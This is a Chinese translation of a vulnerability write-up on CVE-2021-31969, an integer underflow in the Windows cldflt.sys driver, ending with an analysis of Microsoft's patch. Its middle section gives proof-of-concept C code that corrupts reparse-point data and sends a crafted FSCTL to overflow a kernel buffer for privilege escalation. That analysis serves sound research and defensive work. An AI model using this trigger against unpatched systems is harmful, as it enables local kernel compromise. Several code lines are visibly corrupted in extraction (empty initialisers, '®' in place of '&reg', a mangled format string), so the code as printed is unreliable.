隨著云存儲的普及,各種操作系統(tǒng)都添加了支持此類存儲的服務和功能?,F在可以在云端同步本地存儲,同時也可以在系統(tǒng)上檢索到問價。在Windows上,這種功能是通過Cloud Sync Engines云同步引擎完成的。該組件公開了一個Cloud Filter API的本機API。該API實現可在Cloud Files Mini Filter Driver或cldflt.sys中找到。本文介紹了有關此驅動程序中的整數下溢漏洞的一些詳細信息,該漏洞的編號為CVE-2021-31969/ZDI-21-797,它可以被利用來溢出內核緩沖區(qū)并通過權限提升實現代碼執(zhí)行。
0x01 Cloud Sync Engines
Windows中的Cloud Filter API啟用是從Windows 10版本的1709開始。它提供對Cloud Sync Engines云同步引擎的支持并處理創(chuàng)建和管理占位符文件和目錄之類的任務。Cloud Sync Engines云同步引擎是一種在遠程主機和本地客戶端之間同步文件的服務,它允許本地用戶通過Windows文件系統(tǒng)和文件資源管理器訪問云托管的文件和目錄。在這種情況下,文件本身駐留在云端,而在你的本地文件系統(tǒng)上,該文件的表示稱為“占位符”。在云中的文件可能很大,但占位符文件可能只消耗存儲標頭所需的幾個字節(jié)。當你訪問占位符文件時,Windows通過同步使關聯(lián)的云文件顯示出來。
0x02漏洞利用方法
以下是PoC中關鍵步驟的描述:
1:首先執(zhí)行同步注冊。然后啟動同步提供程序和同步過濾器API之間的通信:
WCHAR*dir=(WCHAR*)L"C:\ProgramData";
GUID guid=;
guid.Data1=0xB196E670;
guid.Data2=0x59C7;
guid.Data3=0x4D41;
CF_SYNC_REGISTRATION reg=;
reg.StructSize=sizeof(reg);
reg.ProviderName=L"test";
reg.ProviderVersion=L"1.0";
reg.ProviderId=guid;
CF_SYNC_POLICIES policies=;
policies.StructSize=sizeof(policies);
policies.HardLink=CF_HARDLINK_POLICY_ALLOWED;
policies.Hydration.Primary=CF_HYDRATION_POLICY_PARTIAL;
policies.InSync=CF_INSYNC_POLICY_NONE;
policies.Population.Primary=CF_POPULATION_POLICY_PARTIAL;
HRESULT hr=CfRegisterSyncRoot(dir,®,&policies,CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);
if(FAILED(hr)){
printf("CfRegisterSyncRoot failed with%pn",hr);
return 0;
}
CF_CALLBACK_REGISTRATION table[2];
table[0].Callback=DoTransferCallback;
table[0].Type=CF_CALLBACK_TYPE_FETCH_DATA;
table[1].Callback=nullptr;
table[1].Type=CF_CALLBACK_TYPE_NONE;
CF_CONNECTION_KEY key;
hr=CfConnectSyncRoot(dir,table,0,CF_CONNECT_FLAG_NONE,&key);
2:獲取目標目錄的句柄并通過FSCTL_GET_REPARSE_POINT控制代碼檢索重解析數據:
RtlInitUnicodeString(&name,ntDir);
InitializeObjectAttributes(&oa,&name,0,0,0);
ret=NtCreateFile(&hF,0xC0000000,&oa,&isb,0,0,0,3,1,0,0);
if(NT_SUCCESS(ret))
{
ret=NtFsControlFile(hF,0,0,0,&isb2,FSCTL_GET_REPARSE_POINT,0,0,rb,0x300);
if(NT_SUCCESS(ret))
{
//...
}
}
3:修改檢索到的重解析數據,將長度設置為零。然后通過FSCTL_SET_REPARSE_POINT_EX控制代碼將其設置回原位(標簽設置為0x9000301A,即IO_REPARSE_TAG_CLOUD_3)。最后,設置參數以code=0xC0000003通過cloud filter FSCTL(0x903BC)請求占位符更新。
rb[0xa]=0;//set(USHORT)length to zero
rb[0x9]=0xfa;
rb[0x8]=0xfa;
rb[13]=0x22;
rbLen+=*(UINT16*)(rb+4);
rbSet=(char*)malloc(rbLen+setLen);
memset(rbSet,0,rbLen+setLen);
*(UINT32*)(rbSet+0)=0;
*(UINT32*)(rbSet+4)=0x9000301A;
memcpy(rbSet+setLen,rb,rbLen);
ret=NtFsControlFile(hF,0,0,0,&isb2,FSCTL_SET_REPARSE_POINT_EX,rbSet,setLen+rbLen,0,0);
memset(output,0,0x100);
*(UINT32*)(output+0)=0x9000001a;
*(UINT32*)(output+4)=0xC0000003;
*(UINT32*)(output+8)=0x10000;
ret=NtFsControlFile(hF,0,0,0,&isb2,0x903BC,output,0x100,0,0);
0x03內核漏洞
內核驅動程序cldflt.sys負責處理cloud filter FSCTL。函數中用了大量switch語句來完成工作,這個函數被命名為HsmFltProcessHSMControl:
圖1-HsmFltProcessHSMControl函數
對0xC0000003的操作,最終會調用HsmFltProcessUpdatePlaceholder:
圖2-調用HsmFltProcessUpdatePlaceholder
經過一些處理,執(zhí)行流程將達到HsmpRpReadBuffer。首先分配一個緩沖區(qū),然后通過發(fā)出一個FSCTL_GET_REPARSE_POINT控制指令來檢索重解析數據。檢索到的數據可能已被攻擊者修改,之后調用HsmpRpiDecompressBuffer:
圖3-調用HsmpRpiDecompressBuffer
在HsmpRpiDecompressBuffer內部,提供的長度(攻擊者已設置為零)被檢索并增加8。它保存在局部變量length中,然后用于分配內核緩沖區(qū)。之后,代碼通過調用RtlDecompressBuffer使用分配的緩沖區(qū)作為未壓縮數據的目標緩沖區(qū)繼續(xù)解壓縮數據。但是,它傳遞給RtlDecompressBuffer的指針不是已分配緩沖區(qū)的開始。而是已分配緩沖區(qū)開始前的12個字節(jié),以便為某些元數據騰出空間。相應地,它傳遞給RtlDecompressBuffer的緩沖區(qū)大小是length-12。在下面的反匯編代碼中,減法被優(yōu)化為ADD。在我們的例子中,這個減法產生了一個整數下溢,因此一個巨大的緩沖區(qū)長度值0xFFFFFFF4被傳遞給RtlDecompressBuffer,這會導致內核緩沖區(qū)溢出。
圖4-整數下溢漏洞
0x04補丁分析
Microsoft通過添加檢查以確保檢索到的長度不小于4來修復此漏洞,這使得無法觸發(fā)整數下溢。
圖5-來自Microsoft的補丁
本文翻譯自:https://www.zerodayinitiative.com/blog/2021/7/19/cve-2021-31969-underflowing-in-the-clouds